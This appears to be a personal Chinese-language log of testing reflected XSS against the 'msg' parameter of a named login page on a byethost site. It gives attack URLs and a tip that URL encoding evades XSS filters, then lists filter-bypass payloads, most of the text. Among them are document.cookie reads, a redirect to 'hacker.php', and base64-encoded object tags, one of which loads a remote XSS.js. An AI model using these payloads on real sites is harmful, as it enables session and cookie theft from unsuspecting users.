Chrome的安全性很高,所以把目标转向安全性没那麽高的Firefox。
反射型XSS。
http://2016822.byethost18.com/HanGong/login.php?msg=fail
可以看到msg後面的值,能直接显示在HTML视图中,那就可以随便插入js和html标签。
http://2016822.byethost18.com/HanGong/login.php?msg=<script>alert(String.fromCharCode(88,83,83)) </script>
http://2016822.byethost18.com/HanGong/login.php?msg=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%20%3C/script%3E
用URL编码可避开一般XSS过滤器。
不过一般的反射型XSS都被chrome过滤了,这些是我试过的反射型XSS。
第一步,寻找所有注入点。
第二步,检查有哪些标签和符号被过滤。
第三步,用可以利用的标签和符号,尽可能弹出alert等视窗,那就能证明可以用反射型XSS攻击。
\<script\>alert(\'XSS\');\</script\>
\<IMG SRC="javascript:alert(\'Vulnerable\');"\>
‘’<>’’
\<img src=\'http://i.imgur.com/lkCsjIO.jpg\'\>
\<img src=\'http://i.imgur.com/lkCsjIO.jpg\' onerror=\"alert(\'xxx\')\"\>
<script>alert(String.fromCharCode(88,83,83)) </script>
<script>alert(\'123\')</script>
<META HTTP-EQUIV="refresh" CONTENT="0;url=hacker.php">
<SCRIPT a=">" SRC="XSS.js"></SCRIPT>
<script>window.open('XSS.php');</script>
<img src="imagenotfound.jpg" alt="Image not found" onerror="alert(123)"/>
<img src=http://i.imgur.com/SRHFQpz.jpg/>
<img src=\'http://i.imgur.com/gBziwR2.png\' onmouseover=\'alert(123)\'/>
<img src=http://i.imgur.com/gBziwR2.png onmouseover='alert(123)'/>
<img src=http://i.imgur.com/gBziwR2.png onmouseover="alert(123)"/>
<img src=# onmouseover="this.src="http://i.imgur.com/gBziwR2.png""/>
<script%20src="data:%26comma;alert(1)//
<script>document.write(document.cookie);</script>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg=="></object>
<object data="data:text/html;base64, PHNjcmlwdCBzcmM9Imh0dHA6Ly8yMDE2ODIyLmJ5ZXRob3N0MTguY29tL1hTUy5qcyI+PC9zY3JpcHQ+"></object>
<img src=http://i.imgur.com/OgtfAql.jpg/ onmouseover= <!--
<img src=http://i.imgur.com/OgtfAql.jpg/ <!--
<img src=http://i.imgur.com/OgtfAql.jpg/ onmouseover=(String.fromCharCode(93))alert(123)(String.fromCharCode(93));>